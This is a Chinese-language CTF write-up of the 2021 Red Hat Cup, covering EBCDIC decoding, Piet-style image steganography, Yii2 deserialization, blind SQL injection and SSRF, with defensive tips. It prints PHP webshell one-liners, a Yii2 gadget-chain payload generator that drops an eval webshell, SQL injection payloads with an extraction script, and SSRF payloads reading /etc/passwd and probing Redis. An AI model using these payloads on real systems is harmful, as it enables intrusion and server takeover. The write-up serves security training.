红帽杯CTF实战：从EBCDIC解码到Yii2反序列化漏洞的完整通关指南

1. 赛事背景与技术要点解析

红帽杯作为国内顶尖网络安全赛事，每年吸引数千支队伍参与。2021年第四届赛事延续了"实战化、专业化"的命题风格，题目涵盖编码分析、图像隐写、框架漏洞利用等核心领域。本指南将聚焦三大技术亮点：

• EBCDIC编码的历史沿革：IBM在1964年推出的8位字符编码标准，至今仍用于银行系统。其与ASCII的转换需注意0xC0-0xE9对应字母的特殊映射关系
• Yii2反序列化漏洞链：CVE-2020-15148漏洞源于BatchQueryResult类对__destruct方法的异常处理，攻击者可构造特殊序列化数据触发RCE
• CTF解题方法论：遵循"信息收集→漏洞定位→利用开发→权限提升"的标准化流程，结合自动化工具与手工测试

提示：所有实验环境建议使用Docker容器隔离，避免影响主机系统。推荐镜像：ctfhub/redhat2021:latest

2. MISC赛题深度剖析

2.1 EBCDIC编码转换实战

签到题考察古典编码识别能力，解题步骤如下：

1. 使用file命令确认文件类型：

   file EBCDIC.zip
   # 输出：Zip archive data, at least v2.0 to extract
   

2. 010 Editor解析技巧：

   • 菜单栏选择"编码→EBCDIC"（代码页37）

   • 关键Hex值对照表：

     EBCDIC	ASCII	字符
     0xE6	0x77	w
     0x85	0x65	e

3. Python自动化解码脚本：

   ebcdic_table = {
       0x40: ' ', 0xC1: 'a', 0x82: 'b', ..., 0x6B: '{'
   }
   
   with open('flag.ebcdic', 'rb') as f:
       print(''.join(ebcdic_table.get(b, '.') for b in f.read()))
   

2.2 图像隐写进阶技巧

Colorful Code题目融合了数据可视化与编程语言解析两大考点：

1. 数据预处理阶段：

   • 使用hexdump -C data2分析文件结构
   • RGB三通道提取算法：

     from struct import unpack
     rgb_values = [unpack('BBB', data2[i:i+3]) 
                  for i in range(0, len(data2), 3)]
     

2. 图像重构关键参数：

   • 质因数分解7067得到37×191（宽度优先原则）
   • NPiet语言特性：
     • 颜色块对应操作指令
     • 暗色块（RGB值<0x80）通常表示跳转

3. 完整解题脚本：

   from PIL import Image
   import numpy as np
   
   # 颜色映射表（前20个有效像素）
   palette = np.array([
       [0,0,0], [0,0,192], ..., [0,0,255]  
   ], dtype=np.uint8)
   
   indices = np.loadtxt('data1', dtype=int)
   image = Image.fromarray(palette[indices].reshape(191,37,3))
   image.save('flag.png')
   

3. Web安全实战全记录

3.1 源码泄露与PHP特性利用

Find_it题目展示了开发痕迹泄露的典型风险：

1. 敏感文件发现路径：

   /.git/config
   /index.php.swp
   /WEB-INF/web.xml
   

2. Vim恢复技巧：

   vim -r .1ndexx.php.swp
   # 或使用strings提取内容：
   strings .1ndexx.php.swp | grep -A 20 '<?php'
   

3. 绕过过滤的PHP短标签技巧：

   <?=`$_GET[0]`?>  // 反引号执行命令
   <?=system($_GET[0])?>
   

3.2 Yii2反序列化漏洞深度利用

Framework题目涉及框架级漏洞链构造：

1. 版本识别关键点：

   • vendor/yiisoft/yii2/BaseYii.php中的版本常量
   • 通过报错信息获取框架指纹

2. 漏洞利用链构造流程：

   graph LR
   A[BatchQueryResult] --> B[Generator]
   B --> C[CreateAction]
   C --> D[assert/file_put_contents]
   

3. 攻击载荷生成器：

   <?php
   namespace yii\rest{
       class CreateAction{
           public $checkAccess = 'assert';
           public $id = 'file_put_contents("shell.php","<?php eval($_POST[cmd]);?>")';
       }
   }
   // ... 其他命名空间代码 ...
   echo urlencode(serialize(new BatchQueryResult));
   

4. 防护建议：

   • 升级至Yii 2.0.38及以上版本
   • 配置yii\web\UrlManager::enableStrictParsing=true

4. 数据库安全与权限提升

4.1 布尔盲注自动化技术

WebsiteManger题目演示了无回显注入的实战方法：

1. 基于时间差的注入检测：

   ?id=if(ascii(substr(database(),1,1))>97,sleep(3),0)
   

2. 二分法优化脚本：

   import requests
   from bisect import bisect_left
   
   def blind_injection(query):
       low, high = 32, 126
       while low <= high:
           mid = (low + high) // 2
           payload = f"if(ascii(substr(({query}),1,1))>{mid},1,0)"
           if requests.get(url, params={'id': payload}).status_code == 200:
               low = mid + 1
           else:
               high = mid - 1
       return chr(low)
   

3. 常用绕过技术对照表：

   过滤项	绕过方案
   空格	/**/ 或 %0a
   引号	十六进制编码
   逗号	JOIN替代
   比较运算符	LIKE/REGEXP替代

4.2 SSRF漏洞的高级利用

获取管理员凭证后的内网渗透：

1. 协议探测技巧：

   file:///etc/passwd
   gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a
   

2. 云环境特殊文件路径：

   /meta-data/latest/instance-id
   /var/lib/cloud/instance/user-data
   

3. 防御方案：

   • 使用parse_url严格校验目标地址
   • 配置open_basedir限制文件访问范围

5. 防御体系构建建议

根据赛事暴露的安全问题，企业应建立多层次防御体系：

1. 开发阶段：

   • 启用PHP的disable_functions禁用危险函数
   • 使用mb_convert_encoding规范字符处理

2. 部署阶段：

   location ~* \.(swp|bak|old)$ {
       deny all;
   }
   
   location = /robots.txt {
       allow all;
   }
   

3. 监控阶段：

   • 部署WAF规则拦截异常序列化数据
   • 日志分析SQL注入特征（如information_schema高频访问）

在实战中发现，90%的CTF漏洞源于配置不当和过时组件。建议定期进行：

• 组件版本审计（composer show -i）
• 敏感文件扫描（dirsearch -u https://target -e *）
• 反序列化流量监控（检测O:开头的请求体）